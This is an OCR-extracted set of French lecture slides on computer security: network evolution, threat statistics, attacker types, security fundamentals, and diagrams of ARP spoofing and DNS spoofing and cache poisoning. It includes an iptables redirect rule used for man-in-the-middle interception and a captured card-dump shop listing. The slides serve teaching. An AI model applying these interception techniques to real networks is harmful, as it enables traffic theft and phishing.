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* Evolution des réseaux: Mainframe

Expertise Accessibilité
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Accés par expert uniguement

Utilisation Scientifique
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* Evolution des réseaux: Mainframe

Mainframe

Expertise Accessibilité

Elevée

Importante

~

Acces aux utilisateurs du réseau

via des serveurs relais
Peu de workstation
Acces physique aux

workstations obligatoire
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» Evolution des réseaux: ARPNET (1983)
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* Evolution des réseaux: World Wide Web (2000)

Expertise Accessibilité

Importante

Réduite

* Acces a tous les utilisateurs
possédant un provider

*  HTTP/HTML, navigateur web
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Evolution des réseaux: World Wide Web

Expertise Accessibilité

Elevée Importante
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Basse Réduite

Multiplication des points
d’acces, 3G, objets
communicants.

Simplification des interfaces,

vers un tout connecté

Copyright © Jacques Saraydaryan



Evolution du monde Les enjeux de la Comprendre les
d &a I informatique sécurité attaques

* Evolution des réseaux: Mainframe
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*  Programme Scientifique Unique,

* Aucune connexion extérieur
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* Evolution des réseaux: Mainframe
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Importante

Compléte

Mainframe

Basse t

* Applications métiers dédiées
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* Evolution des réseaux: ARPNET (1983)
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* Evolution des réseaux: World Wide Web (2000)

Importante

Basse

Diversité Connectivité

Compléte

Nulle

* Multiplication des applications,

commerciales, éducatives

*  Communications inter-

applications élevées grace a
I'arrivée de protocoles

HTTP/HTML, IRC, SSL

il
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Evolution des réseaux: World Wide Web

Diversité Connectivité

Importante Compleéte
4 Feh 1993
10:00 UTC

Basse Nulle

Développement d’applications
mobiles, cloud computing,
Applications entierement en

ligne

Tout connecté, l'activité et la vie

d’une application nécessite presque

toujours une connexion.
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Global Protocol Trends (protocol / port)
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Internet Traffic Evolution 2007 — 2011 Craig Labovitz April 6, 2011
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Figure 4: Fixed and mobile subscriptions 2008-2017
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TRAFFIC AND Market report June 2012 ON THE PULSE OF THE NETWORKED SOCIETY, Ericsson
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Figure 14: Global total traffic in mobile networks, 2007-2012
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- Evolution des activités et logiciels

Exabytes per Month 61% CAGR 2013-2018

18

M Mobile File Sharing (2.9%)

B Mobile M2M (5.7%)

B Mobile Audio (10.6%)

B Mobile Web/Data (11.7%)
9 I W Mobile Video (69.1%)

2013 2014 2015 2016 2017 2018

Figures in parentheses refer to traffic share in 2018
Source: Cisco VNI Mobile, 2014

http://www.cisco.com/c/en/us/solutions/collateral/service-provider/visual-networking-index-vni/white paper c11-520862.html
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Source: Cisco VNI Mobile, 2014

http://www.cisco.com/c/en/us/solutions/collateral/service-provider/visual-networking-index-vni/white paper c11-520862.html
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51%

Non-human traffic

20%

Search engine +

other good bot traffic 5 %
!rhc ing
49% ] 50
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people !
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Comment
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Sples of Sorts

http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/

0
ot

Copyright © Jacques Saraydaryan


http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/
http://www.nextnature.net/2012/03/internet-traffic-is-now-51-non-human/

Les enjeux de |a sécurité

Evolution du monde Les enjeux de la Comprendre les
informatique sécurité attaques
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Evolution du monde Les enjeux de la Comprendre les
I informatique sécurité attaques

Figure 1.21 Frequency of online shopping

Proportion of respondents (%)
100 97 92 a7 90 93 92

75
30

25

Ever At leastmonthly Atleastweekly
BUK mFRA EGER mI|TA mUSA " JPN mAUS mESP

Source: Ofcom research, September 2013
QO01: How often if at all, do you purchase items online for delivery? Base: all respondents (UK=1000,
FRA=1007, GER=1010, ITA=1010, USA=1004, JPN=1005, AUS=1007, ESP=1020)
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- Evolution des activités et logiciels

Figure 5.13 Mobile-internet activities

Mobile phone/smartphone owners (%)

100 B Social hetworking Reading news online
m Online banking ® Online shopping
. . : S . : 79
80 B Playing multiplayer games online Using ‘cloud’ services =
68
62 e 64 60 62
60 57 Vi b3 54
47 47
40 : 36
29 D 297
6@1 22 000 W 222 © Il 21 25,
20 . 6
0
UK FRA GER ITA USA JPN AUS ESP CHN

Source: Ofcom consumer research September 2013

Base: All respondents who access internet with a mobile phone/ smartphone, UK=572, FRA=456,
GER=470, ITA=638, USA=437, JPN=581, AUS=550, ESP=703, CHN=866.

Q.15a Which, if any, of the following internet activities do you use each of your devices for?

il
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Les enjeux de la sécurité

Bl

Sommes nous

vulnérables ?
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Les enjeux de laisécurité

* Les constats de sécurité: Sommes nous vulnérables ?

Evolution du nombre de vulnérabilités
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* Les constats de sécurité: Sommes nous vulnérables ?

22%
. Insecure Remote
Access Solutions

42,540 .. e e

Insecure Protocols

HTTP w/ Insecure Logins Telnet 3%

7.6 Remote Desktop14%

HTTP
22.14%

IMAP
4.31%

'__Dther 0.1%
. UNENCRYPTED — v
" B ' INSECURE
|
W LAA N REMOTE
\ ) ACCESS
AL 7800

Secure Remote
Access Solution
or No Remote
Access Used

ot

TrustWave 2012 Global Security Report
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* Les constats de sécurité: Sommes nous vulnérables ?

http://www.informationisbeautiful.net/visualizations/million-lines-of-code/

Operating system # of # of HIGH # of MEDIUM # of LOW
vulnerabilities | vulnerabilities | yuinerabilities | vulnerabilities

Apple Mac OS X

Apple i0S 127 32 72 23
Linux Kernel 119 24 74 21
e 3 2 12 0
Microsoft Windows 7 36 25 11 0
St 3 24 14 0
Microsoft Windows 8 36 24 12 0
Microsoft Windows 8.1 36 24 12 0
Microsoft Windows Vista 34 23 11 0
Microsoft Windows RT 30 22 8 0

o
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* Les constats de sécurité: Sommes nous vulnérables ?

http://www.informationisbeautiful.net/visualizations/million-lines-of-code/

Application # of # of HIGH # of MEDIUM # of LOW
vulnerabilities | vulnerabilities | yulnerabilities | vulnerabilities
22 0

Microsoft Internet

Bickoror 242 220
Google Chrome 124 86 38 0
Modzilla Firefox 117 57 57 3
Adobe Flash Player 76 65 11 0
Oracle Java 104 50 46 8
Mozilla Thunderbird 66 36 29 1
Mozilla Firefox ESR 61 35 25 1
Adobe Air 45 38 7 0
Apple TV 86 29 49 8
Adobe Reader 44 37 7 0
Adobe Acrobat 43 35 8 0
Mozilla SeaMonkey 63 28 34 1

http://www.informationisbeautiful.net/visualizations/million-lines-of-code/
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* Les constats de sécurité: Sommes nous vulnérables ?

M Android
2,49%

M Windows components

2,63%

M Oracle Java

90,52%

M Adobe Acrobat Reader M Internet Explorer
2,01% 1,32%

B Adobe Flash Player
0,53%

M MS Office
0,51%

Malware distribution by behavior type

Kaspersky security report 2013: overall statistic
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* Les constats de sécurité: Sommes nous vulnérables ?

B Oracle Java | Android0S
W Browsers Adobe Flash Player
I Adobe Reader Microsoft Office

© Kaspersky La

The distribution of exploits used by fraudsters, by type of application attacked, 2014

o

Kaspersky security report 2014: overall statistic
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* Les constats de sécurité: Qui est attaqué?

Evolution du monde Les enjeux de la Comprendre les
I informatique sécurité attaques

Monitored Attack Targets
70%
60%
50%
40%

30%

Survey Respondents

20%

10%

TOP TARGET ASSETS

® 66%
25%
0,
4% DATA CENTERS/CORPORATE INFRASTRUCTURE O 7%

47% POINT OF SALE/PAYMENT PROCESSING
48% E-COMMERCE/WEBSITES

Figure 19 Source: Arbor Networks, Inc.

Customer
Service Infrastructure

Network Infrastructure

Other

TrustWave 2013 Global Security Report
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* Les constats de sécurité: Qui est attaqué?

Attacks by Size of Targeted Organization u ﬂ ﬁ wIASRE
0 Top 10 Industries Attacked in 2012
50% 2,501+ 50% 1t02,500
Manufacturing
Finance, Insurance & Real Estate
| Services — Non-Traditional
‘!! Employees 1,501 t0 2,500 ervices — Non-Traditiona
2,501+ Government
1,001 to 1,500
501 to 1,000 Energy/Utilities
25110500 Services — Professional
0,

50 /o Aerospace
50% Retail
in 2011 110250 Wholesale

Transportation,
Communications, Electric, Gas
0 5 10 15 20 25%

- Symantec INTERNET SECURITY THREAT REPORT, 2012 Trends, Volume 18, Published April 2013
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Les enjeux de la sécurité

* Les constats de securité: Qui est attaqué?

Energy &4dility

Gaming

Government ISP

. G—n
2014 Change from 2013

Radware security report 2014-2015
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Evolution du monde Les enjeux de la Comprendre les
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* Les constats de sécurité: Comment nous ont-ils attaque?

METHOD OF ENTRY
REMOTE ACCESS @ @ €
SOL INJECTION @ @&
UNKNOWN € 6
CLIENT-SIDE ATTACK @ ©
REMOTE FILE INCLUSION @ -®
REMOTE CODE EXECUTION ® ®
AUTHORIZATION FLAW © ©®-
PHYSICAL THEFT @ ®

47%
26%
18%
2%
2%
3%
1%
1%

@@@@@@@@
CRCR R R AR R
CRCRCR RO R
R R R RO R
CRCR R RO R
R R R RO R
R R R RO R
CRCR R R R R R

In 2011 the wp three methods of propagaton were:

80%0
15%
500

Ise of weak
administrative
credentials

Default hidden
administrative shares

Remote access solution
credential caching

TrustWave 2013 Global Security Report
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d @ I informatique sécurité attaques

il

- Les constats de securité: Comment nous ont-ils attaqué?

MALWARE BY
EXFILTRATION METHOD

EXFILTRATION CHANNEL

59% FIP 11% SMB

| 13.2% SMTP 13% SMTP
13.2% CUSTOM/OTHER 18% HTTPS

~ 13.2% SMB/REMOTE ACCESS 25% RDP
54.5% HTTP(S) 33% HTTP

TrustWave 2013 Global Security Report
Copyright © Jacques Saraydaryan
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Evolution du monde Les enjeux de la Comprendre les
informatique sécurité attaques

QuIl nous

menace ?

Operation “Red October”

Victims of advanced cyber-espionage network

! 8runes @)

) (]
e © \ #: indonesin €@
o Ny

Iraq

»

e @

— Unsted Arab Emirates o%p
oman @

Saudi Arabis @)

Be X' ) B'ﬂrﬂ;ib{‘

South Africa ' /‘,’
© Albania o o Wmoeooo T \.b.-mno o xuwmo
a Mgw‘uncoo 0 suos @ & Macedonia @
© e @@ © Bomia anderzegovies @) 3 Sovakia @ KASPERYKY#
O Austria o © Grostia e 2 swirzertand @)
01 OOOO 3 @ t 0@ Q17 3 20
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Les enjeux de la sécurité

By

Evolution du monde Les enjeux de la Comprendre les
I informatique sécurité attaques

* Les constats de sécurité: Qui nous menace?

Newbie/Toolkit

Internal
Coder, old guard hackers

Professional criminals,
Cyber-terrorists

Copyright © Jacques Saraydaryan




Les enjeux de la sécurité

Evolution du monde Les enjeux de la Comprendre les
informatique sécurité attaques

* Les constats de sécurité: Qui nous menace?

Newbie/Toolkit

*  Peu expérimentés

» Utilisent les outils disponibles
(coder, old guard hackers)

* Objectif: attaquent par loisir

sans intention de nuire

0
ot
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Les enjeux de laisécurité

Evolution du monde Les enjeux de la Comprendre les
informatique sécurité attaques

* Les constats de sécurité: Qui nous menace?

Cyberpunk

*  Plus expérimentés

* Objectif: Actions malicieuses
pour leur propre compte
(défacement de site, vol de

cartes de crédit)

Copyright © Jacques Saraydaryan
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Les enjeux de la sécurité

* Les constats de sécurité: Qui nous menace?

*  Employés mécontents
* Utilisent ses privileges existants

* Objectif: Attaquer leur entreprise

o

Copyright © Jacques Saraydaryan



Evolution du monde
informatique

Les enjeux de la sécurité

* Les constats de sécurité: Qui nous menace?

* Tres grande expertise

Coder, old guard hackers g P

* Passionnés, réalisent des outils
d’attaques

* Objectif: Sans intention de nuire,

prouesse technique, reconnaissance

dans leur groupe

Copyright © Jacques Saraydaryan
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Bl

* Les constats de sécurité:

Evolution du monde Les enjeux de la Comprendre les
informatique sécurité attaques

Qui nous menace?

Professional criminals,
Cyber-terrorists

* Grande expertise
* Forte organisation
* Organisation criminelle a grande
échelle
* Objectif:
* Vols, espionnage, dénis de service
* Alimentent une véritable

économie souterraine

Copyright © Jacques Saraydaryan



Evolution du monde
informatique

Les enjeux de la sécurité

* Les constats de sécurité: Qui nous menace?

LOCATIONS: VICTIMS & ATTACKERS

@ vicTim
@ ATTACKER

4 TOP VICTIM LOCATIONS: TOP ATTACKER LOCATIONS:
UNITED STATES 73.0%  ROMANIA 33.4%

DATA BREACHES AUSTRALIA 1.0% UNITED STATES 29.0%
CANADA 3.0% UNKNOWN 14.8%
1 g UNITED KINGDOM 2.0% UKRAINE 4.4%
BRAZIL 1.2% CHINA 3.9%

COUNTRIES

TrustWave 2013 Global Security Report
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Evolution du monde
informatique

Les enjeux de la sécurité

Que nous

prennent-ils ?
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Evolution du monde
informatique

Les enjeux de la sécurité

* Les constats de sécurité: Que nous prennent-ils?

96 % CUSTOMER RECORDS (PAYMENT CARD DATA, Pl EMAIL ADDRESSES)
2% CONFIDENTIAL INFORMATION & INTELLECTUAL PROPERTY

1%  ELECTRONIC PROTECTED HEALTH INFORMATION (EPHD

1%  BUSINESS FINANCIAL ACCOUNT NUMBERS

TYPES OF DATA TARGETED

TrustWave 2013 Global Security Report
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Les enjeux de la/sécurité

Evolution du monde

informatique

* Les constats de sécurité: Que nous prennent-ils?

DE, Aftegrity ...
Hackers stole b o o]

security numbers - including
Michelle Obama's - from two
rge US data brokers.

Adobe

Sep17th 2013, Hackers obtained
Ccesstoalarge swathe

lobe customer [Ds and

encrypted passwords & removed
sensitive information (i

names, encrypted credit or debit

card rigmbers, expiration dates,

ete.). Approximaely 38 millon

‘Adabe custormers,

South African police
Hacker collective Ananymous
hacked an anomymous
whistlebloning WEBSie fun ]
e south Afna Poice Se
(SAPS), revealing th it ie:
s of ts Use

in August 2012

server's muiti-layered security
system conta ning social
security pumbers for the
Medicaid claims.

Hacking group AntSec ¢ \a\med
they hacked an il laptop

F072 sccrssne STie of

ore than 2 millan Apple

riames, phone numbers and
addresses, AntiSec published
million of these UDID online.

World's Biggest Data Breaches

Selected losses greater than 30,000 recards

YEAR © scootty utished (@) hacked () st () los stolen computer (@) st/ sl s () oor sty () nkmown s

-, SnapCi
It 3. Hackers abused

PSS, Had
mexF\mnn siphon &/muser
s,

includng phon
mbers. Check here o see f

our account was compromised
ittpy//lookup.gibsonsec.org/

- Ebay
The company has said hackers

atacked between fge February
and early March with logi
(redenﬂasnb\amedhnm 2
small number” of emp

e acressed A apabase
(wnhlmn%a” ueer fecerds and
opied fthose

credentials.

- Target
Investigators believe the data

s obtained via software

installed on machines that

customers use to swipe

magnetic strips on their cards

hen paying for merchandse at
arge stores, Originaly 4

e Condonedn
inSdequats means of protecting
stored passwords, by security

- Throa Iranian Banks

Fazawer sner‘e’v .

ically scramblec
s e
inbdequate means of protecting
stored passwerds, by security
Sxperts

_ P Morgan Chase

Biter findina 2 cec e

http://www.informationisbeautiful.net/visuali
zations/worlds-biggest-data-breaches-static/

http://www.informationisbeautiful.net/visual
izations/worlds-biggest-data-breaches-hacks/
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Les enjeux de la sécurité

* Les constats de sécurité: Que nous prennent-ils?

Evolution du monde Les enjeux de la Comprendre les
I informatique sécurité attaques

Most Common Motivations Behind DDoS Attacks

45%

40%

35%

30%

25%

20%

15%

Survey Respondents

10%
5%

0%

=9
=—=-"1
== =

0

Figure 13 Source: Arbor Networks, Inc.

® 40%
© 39%
33%
® 33%
® 29%
26%

® 23%
22%
20%
19%
18%
18%
16%
15%
® 7%

an ap

Political/ldeological Disputes
Unknown

Online Gaming-Related
Nihilism/Vandalism

Social Networking-Related

Criminals Demonstrating DDoS Attack Capabilities
to Potential Customers

Interpersonal/Inter-Group Rivalries

Online Gambling-Related
Misconfiguration/Accidental

Flash Crowds

Competitive Rivalry Between Business Organizations
Financial Market Manipulation

Diversions to Cover Compromise/Data Exfiltration
Criminal Extortion Attempts

Other

i

Arbor Network report 2014
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* Les constats de sécurité: Que nous prennent-ils?

m Item Percentage Range of Prices

1 Credit Cards 22% $0.50-%5

2 Bank Accounts 21% $30-%$400

3 Email Passwords 8% $1-$350

4 Mailers 8% $8-$10

5 Email Addresses 6% $2/MB-%$4/MB
6 Proxies 6% $0.50-%3

7 Full Identity 6% $10-$150

8 Scams 6% $10/week

9 Social Security Numbers 3% $5-%7

10 Compromised UNIX® Shells 2% $2-%$10

Source: Symantec Corporation

ot
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Evolution du monde
informatique

Les enjeux de la sécurité

* Les constats de sécurité: Que nous prennent-ils?

Home BuyCC  CCOrders  BuyDumps Dump orders  BinLookup  Checker  Tickets Hello, .—fCart(D)D.% Balance: " Add money  Replace policy  Logout

yad Mozilla Firefox Google Chrome Opera

Country Dump type Dump mark Debit/Credit
) G ¥ G -
Bins Bank & State & City Base and other Additional
2, 376282 [0 ~] Al v [ Expired 12113
Al Lg |:| Trackl

Al ng Exp. date (1312}
Last 4 Digits

Select code
ind the bin you were looking for? Need more dumps of particular bin? Try our partner’'s shop - - 500k of fresh dumps Clear
Bin Card Debit/Credit Mark Expired Track 1 Code Country Bank Base Price Cart
551885 g MASTERCARD DEBIT STANDARD 1414 es 101 S5 United States, ~ CHEMICAL BANK Tortuga-6 () 26 6 .
1l, GRAND
RAPIDS, 49512
414709 T VISR CREDIT SIENATURE 02416 es 101 S United States, CAPITAL ONE Tartuga-6 () 29.2% .
P&, HARRISBURG,  BANK(USA) N.A.
17111 Cump or co of this
particular bank
(BIM) cannot be
replaced or
refunded.
912107 g MASTERCARD CREDIT GOLD 02416 es 101 S United States, CITIBANK N.A. Tortuga-6 () a4 5% .
AZ, MESA, 85206 Crump or o of this [—
particular bank
(BIM) cannot be
replaced or
refunded.
S http://krebsonsecurity.com/2013/12/cards-stolen-in-target-breach-flood-underground-markets/

CPE
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Evolution du monde Les enjeux de la Comprendre les
d @ I informatique sécurité attaques

* Les constats de sécurité: Que nous prennent-ils?

m Item Percentage Range of Prices

1 Credit Cards 22% $0.50-%5

2 Bank Accounts 21% $30-%$400

3 Email Passwords 8% $1-$350

4 Mailers 8% $8-$10

5 Email Addresses 6% $2/MB-%$4/MB
6 Proxies 6% $0.50-%3

7 Full Identity 6% $10-$150

8 Scams 6% $10/week

9 Social Security Numbers 3% $5-%7

10 Compromised UNIX® Shells 2% $2-%$10

Source: Symantec Corporation

ot
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Les enjeux de la sécurité

o}

» Conclusion

! Augmentation de la connectivité et des applications

- Augmentation du nombre de vulnérabilité

! Evolution de l'usage des Systémes d’information,

augmentation transaction financieres, connexion de

données sensibles

- Augmentation des menaces

Copyright © Jacques Saraydaryan
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Les enjeux dela sécurité

' Evolution du monde informatique

'| Les enjeux de la securité

« Etat d’'urgence ?

« Les bases de la sécurité

'l Comprendre les attaques
* ARP Spoofing / DNS Spoofing
+  TCP Flooding / TCP Session Hijacking

c':f:’E XSS / Bufferoverflow
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Les enjeux de la sécurité

les enjeux de la sécurité

E Etat d’'urgence ?
Les bases de la sécurité

Copyright © Jacques Saraydaryan



Un état d’urgence ?
Menaces présentent avérées et prouvées
Sécurisé colte de l'argent et du temps = engagement
modéré des décideurs
Attentisme des organisations/compagnies face a la
menace
Silence radio lors d’attaques
Pourquoi?
Perte de confiance des utilisateurs/partenaires
Peur d’'une escalade d’exploitation de la breche
de sécurité.
Etude de la faille de sécurité tardive,
Continuité des transactions (escalade)

Niveau de menace difficilement quantifiable




: P p cak I informatique sécurité attaques
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Les enjeux de la sécurite

- Un état d’urgence ?

Information Warefare

Démentir
Exploiter
Corrompre

Détruire

Les information et les fonctions de son ennemi
tout en se protégeant soit méme contre ces
actions

Copyright © Jacques Saraydaryan



- Un état d’urgence ?

Evolution du monde Les enjeux de la Comprendre les
informatique sécurité attaques

I E
DE LA DEFENSE

Art de la guerre:
* Communications
coupées

Vol d’informations
secret défense
Attaque de sites
stratégiques

Compagnies

Art de la guerre:

Arrét d’activités
Vol de données
sensibles
(prototype,
portefeuille client)
Atteinte a la
réputation
(défacement...)

Nous tous

Vol d’informations
personnelles (cb,
email, images)

Vol d’argent

Usurpation
d’identité
Exploitation de
nos ressources

Copyright © Jacques Saraydaryan




Les enjeux de la
sécurité

Les enjeux de la sécurité

* Un état d’urgence ?

Malware Download Site
Warez/Piracy Server

Child Pornography Server

DDoS Extortion Zombie
Click Fraud Zombie
Anonymization Proxy
CAPTCHA Solving Zombie

eBay/Paypal Fake Auctions
Online Gaming Credentials
Account Credentials J/ Web Site FTP Credentials

Stranded Abroad Advance Scams
Harvesting E-mail Contacts

Harvesting Associated Accounts Skype/VolP Credentials
Access to Corporate E-mail Client Side Encryption Certificates
Bank Account Data

Online Gaming Characters
Online Gaming Goods/Currency
PC Game License Keys
Operating System License Key

Credit Card Data
Stock Trading Account
Mutual Fund/401k Account

Financial Credentials

Facebook Fake Antivirus
Twitter Ransomware
2 Reputation Hﬂacking_) Hostage Attacks

Email Account Ransom

LinkedIin
é;;;le*- ’ Webcam Image Extortion

http://krebsonsecurity.com/2012/10/the-scrap-value-of-a-hacked-pc-revisited/

Copyright © Jacques Saraydaryan




Un état d’urgence ?

Kaspersky security report 2014
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Evolution du monde Les enjeux de la Comprendre les
informatique sécurité attaques

- Un état d’urgence ? Contre quoi se protege-ton ?

Viruses

Deny of service
attacks

Worms

Network attacks

Buffer overflows

Physical attacks

Password attacks

Gathering attacks

Information

A taxonomy of network and computer attack , Simon Hansman, Ray Hunt,2004

Copyright © Jacques Saraydaryan




Les enjeux de la
sécurité

Les enjeux de la sécurité

- Un état d’urgence ? Contre quoi se protege-ton ?

File infectors
System/boot record
Viruses infector
Worms Mass mailing \
Buffer overflows SI tI “"l I

Deny of service
Network Based

A taxonomy of network and computer attack , Simon Hansman, Ray Hunt,2004

3
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Evolution du monde Les enjeux de la Comprendre les
d &a I informatique sécurite attaques

- Un état d’urgence ? Contre quoi se protege-ton ?

Distributed
Spoofing
Session Hijacking
Wireless attack

Network attacks Web application attacks T

Parameter tampering
Cookie poisoning

Basic
Energy weapon

Tempest (Van Eck)

. Bruteforce \
Guessing

Exploiting
implementation

Password attacks

Information Sniffing (packet)
. Mapping
Gathering attacks Security scanning

ot

A taxonomy of network and computer attack , Simon Hansman, Ray Hunt,2004
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- Un état d’urgence ? Contre quoi se protege-ton ?

Exemple de stratégie d’attaque

Search engine to Scanner 1o
identify websites identify websites
with vulnerable with vulnerable

components components

Exploit upload
mechanism or
remote file inclusion
vulnerability

Card data not stored?
Modify payment page
to siphon off CHD

Browse file system to

L!plnad . identify other targets
multi-function in shared hostin =

webshell * ; 9 I
environment I

| |

I |

I Card data stored? [

Access backend

1 database containing I

1 CHD |

1 |

[ C}fcleRepeals-----

o

TrustWave 2012 Global Security Report
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Les enjeux de la sécurité

les enjeux de la sécurité

E Etat d’'urgence ?
Les bases de la sécurité

Copyright © Jacques Saraydaryan



Les enjeux de la
sécurite

Les enjeux de la/sécurité

- Comment se protéger ? — Les Bases de la sécurité

NE Phy%,
WOLS { S@@@ ~
g )

JohnManuel http://en.wikipedia.org/wiki/File:CIAJMK1209.png
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Les enjeux de la sécurite

- Comment se protéger ? — Les Bases de la sécurité

! Les Objectifs de la sécurité
— Confidentialité

- Intégrité

— Disponibilité (Availability)

@

Confidentialité
Empécher toutes divulgations d’information a des

personnes, programmes ou équipements non autorisés

Copyright © Jacques Saraydaryan
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Les enjeux de la sécurité

- Comment se protéger ? — Les Bases de la sécurité
! Les Objectifs de la sécurité

—~  Confidentialité

— Intégrité N
— Disponibilité (Availability) @

@

Integrite
Assurer que les informations stockées, transmises et recues n’ont
pas été modifiées pas une entité non autorisée. Toute

modification d’information entraine un viol d’intégrité et doit

étre détecté.

o}
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I informatique sécurité attaques
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- Comment se protéger ? — Les Bases de la sécurité

! Les Objectifs de la sécurité

Confidentialité

Intégrité

Disponibilité (Availability)

@

Disponibilité
Capacité a un systeme d’information de fournir un service.

Cela englobe également I'assurance de la restauration du

service en cas de défaillance.

Copyright © Jacques Saraydaryan




Comment se protéger ? — Les Bases de la sécurite
Les Objectifs de la sécurité
Confidentialité
Intégrité

Disponibilité (Availability)

- Tous les outils/procédures de sécurité ont comme
fonction de recouvrir une partie ou la totalité des
objectifs de sécurité Confidentialité, Intégrité,

Disponibilité.
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Les enjeux de la sécurité

- Comment se protéger ? — Les Bases de la sécurité
1 Mais aussi
— ldentification

— Authentification

— Autorisation

— Accountability

-~ Non-Répudiation

Copyright © Jacques Saraydaryan
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Les enjeux de la sécurité

- Comment se protéger ? — Les Bases de la sécurité

o

@)
Identification
Connaitre l'identité d’une entité. Récupérer un élément caractérisant son

interlocuteur .

Authentification
Vérifier I'authenticité de I'identité d’'une entité (what you know, what you have, what

you are).

Autorisation

Assignation de droits, autorisation en accord avec la politique de sécurité en vigueur.

Copyright © Jacques Saraydaryan
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Les enjeux de laisécurité

- Comment se protéger ? — Les Bases de la sécurité

J)

Accountability

Capacité a traquer et enregistrer les activités du Systémes d’information et de ses

utilisateurs

Non-Répudiation

Imputabilité d’un message, action, activité sur le systeme d’information.

At

Copyright © Jacques Saraydaryan




Les enjeux de la
sécurité

Les enjeux de la sécurité

- Comment se protéger ? — Les outils de la Sécurité

ey
&
H'EH B
=
<

Operational Security

Technology, hardware, people, and procedures are woven together as a security fabric.
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Comment se protéger ? =Sécurité Définitions
Vulnérabilité
Software, Hardware, faille de procédures fournissant
a un attaquant une fenétre d’acces a une machine,
un réseau, lui offrant des acces non—autorisés a des

ressources du Sl.

Menace

Tous danger potentiel pouvant affecter le SI.

Risque
Probabilité qu’une vulnérabilité soit exploitée par un
individu (menace) ainsi que I'impact de cet exploit

sur la compagnie.

Comremeswe
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Les enjeux de la sécurité

- Comment se protéger ? — Sécurité Définitions

s e
! Exposition gu\ né;ab\\\t
Ensemble d’éléments du Sl exposés a une menace. Exposition
e
RisAYT - aac

_l Contremesure

. : Ly : Co
Elément mis en place permettant de réduire le risque Ntremesure

potentiel.
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Les enjeux de la sécurité

Les enjeux de la
sécurité

- Comment se protéger ? — Securité Définitions

Gives rise to

~
Exploits
Threat Pl
agent Leads to
'y Threat
Vulnerability
Risk
el
Directly affects
Asset Can damage
Exposure And causes an
-
Safeguard

Can be
countermeasured by a

Copyright © Jacques Saraydaryan
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Les enjeux de la sécurité

' Evolution du monde informatique

'| Les enjeux de la securité

'l Comprendre les attaques
* ARP Spoofing / DNS Spoofing
+  TCP Flooding / TCP Session Hijacking

c':f:’E XSS / Bufferoverflow
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Comprendre les attaques

ARP Spoofing
DNS Spoofing

TCP Flooding / TCP Session Hijacking
XSS

Bufferoverflow



ARP Spoofing

Utilisation de la couche de liaison

Utilisation des adresses MAC

Attaque LAN

Attaque possible uniguement sur un méme segment

Menace
Denis de service,
ARP spoofing,
Sniffing,

Man in the middle

Copyright © Jacques Saraydaryan



Comprendre les
attaques

Les enjeux de la sécurité

* ARP Spoofing

Dest MAC  Source MAC Dest IP Source |IP Content

Table MAC

Table MAC

Table MAC
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Les enjeux de la sécurité

Comprendre les
attaques

* ARP Spoofing

A MACG IPG
MAC A MACB IPB
IP A

MAC B

IPB

MACG IPG
MACA IPA

MACA IPA
MACB IPB

Copyright © Jacques Saraydaryan




Comprendre les
attaques

Les enjeux de la sécurité

* ARP Spoofing

MACG IPG MACG IPG
MAC A A vace s BB MACX  IPB
IP A
MAC B
IPB

Dest MAC A Source MAC X Dest IP A Source IP B Content

Copyright © Jacques Saraydaryan



Les enjeux de la sécurité

Comprendre les
attaques

* ARP Spoofing

MAC A
IP A =

MACB
IP B

MACG IPG MACG IPG
MACX IPA - MACA IPA

Dest MAC B Source MAC X Dest IP B

Source IP A

Content

Copyright © Jacques Saraydaryan




Comprendre les

Les enjeux de laisécurité attaques

- ARP Spoofing

A MACG IPG
MAC A MACX IPB
IP A
MAC B
IP B

MACG IPG
MAC X IPA

MAN IN THE MIDDLE

1

CPE

Copyright © Jacques Saraydaryan “



Comprendre les

Les enjeux de la sécurité attagues

* ARP Spoofing

A
MAC A

IP A

ARP Attack

ARP Attack ‘ 9
0 ‘_‘a%} =

MAC B B
IP B
Mac [P

MAC X IPG

MAC X IPB
MAC X IPA

\ a HTTP proxy

Iptables —A INPUT —p tcp —s IPB —d IPG —dport 80 e Interceptlon des
—j REDIRECT —to-ports 80 données - Modification

MACA IPA

1

CPE
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Comprendre les
attaques

Les enjeux de la sécurité

* ARP Spoofing : DOS

A

MAC Z IPG
MAC Z IPA

MAC Z IP A
MAC Z IPB

MAC Z IPG
MAC Z IPA
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Evolution du monde Les enjeux de la Comprendre les
a1 . . I informatique sécurité attaques
. OV —~ £ N B
Les enjeux de la sécurité

- DNS Spoofing

! Rediriger un utilisateur vers un autre serveur
! Deux techniques possibles:

! DNS ID Spoofing

! DNS Cache poisoning

] Menace

* Denis de service,
*  DNS spoofing,
* phishing

at
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* DNS Spoofing : DNS Id Spoofing

www.bank.com

Client A DNS Serveur Y
www.bank.com ? ID=1 _m LoD
p www.bank.com=1.2.3.4ID=1 | 1234  www.bank.com
http://www.bank.com .
[ Q o www.bank.com
Client A N DNS Serveur

1.2.3.4

www.bank.com ? ID=1

1.2.3.4 www.bank.com

www.bank.com=6.6.6.6 ID=1
<

www.bank.com=1.2.3.4 ID=1 4

8

http://www.bank.com

6.6.6.6

Copyright © Jacques Saraydaryan



http://www.bank.com/
http://www.bank.com/
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http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.bank.com/

Les enjeux de la sécurité

Comprendre les
attaques

* DNS Spoofing : DNS Cache poisoning

DNS Serveur

verybadthing.com ? ID=1>

verybadthing.com ? ID=1§256

verybadthing.com =2.2.2.2 ID=13256

\Q ivervbadthing.com =1.2.2.21D=1 [

1234

www.bank.com

DNS Serveur

www.bank.com ? ID=2

>

www.bank.com ? ID="?

R: www.bank.com=6.6.6.6 |D=132§7

Q www.bank.com=6.6.6.6 |D=132£>8
@ﬁ www.bank.com=6.6.6.6 |D=132>59

6.6.6.6

4Www.bank.com=1.2.3.4 ID=13259

DNS Serveur

DNS Serveur

www.bank.com
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http://www.bank.com/
